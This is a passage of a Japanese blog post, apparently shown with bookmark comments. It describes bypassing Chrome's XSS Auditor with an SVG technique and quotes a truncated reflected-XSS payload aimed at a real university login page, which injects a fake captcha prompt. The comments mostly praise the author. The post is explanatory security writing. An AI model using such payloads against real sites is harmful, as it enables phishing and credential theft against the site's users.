素人がプログラミングを勉強するブログ

特に技術的に新しいものではないので公開せずに放置していたが、XSS Auditorをバイパスする方法はいろいろあるので気をつけましょうという話。 XSS Auditorをバイパスする方法は、Chrome XSS Auditor - SVG Bypass - Hack 2 Learnを参考にした(最新版ではすでにこの手法は塞がれた)。 実演と解説 見た方がわかりやすいと思うので、動画にしたので見てほしい。 これはある大学のログイン画面に存在するXSSで、 login.php?fromURL=xxx">Please complete the captcha before proceeding.<br><svg width=242px height=65px><a><image href=https://i.imgur.com/6W1W2jE.png/><animate attributeNam

[nazomikan]

“XSS Auditor”

[qnighy]

「素人がプログラミングを勉強していたブログ」になってる

[koba789]

"徐々に長文を読む時に経由するのが日本語ではなく、英語の言い換えになってくる。"ほう。

[googcima]

英語

[jarinosuke0808]

プログラミング,勉強法

[nsnl]

畑は違うけれど、この姿勢は見習うべきだなー。

[rokujyouhitoma]

若い世代もなかなかすごいな。同じくJavaScripterとしては負けられないw

[wacky]

中3！？

[gin5005]

これからもよろしく！

[jigendaddy]

どう見ても玄人です。本当に(ry

[heiwaboke]

素人？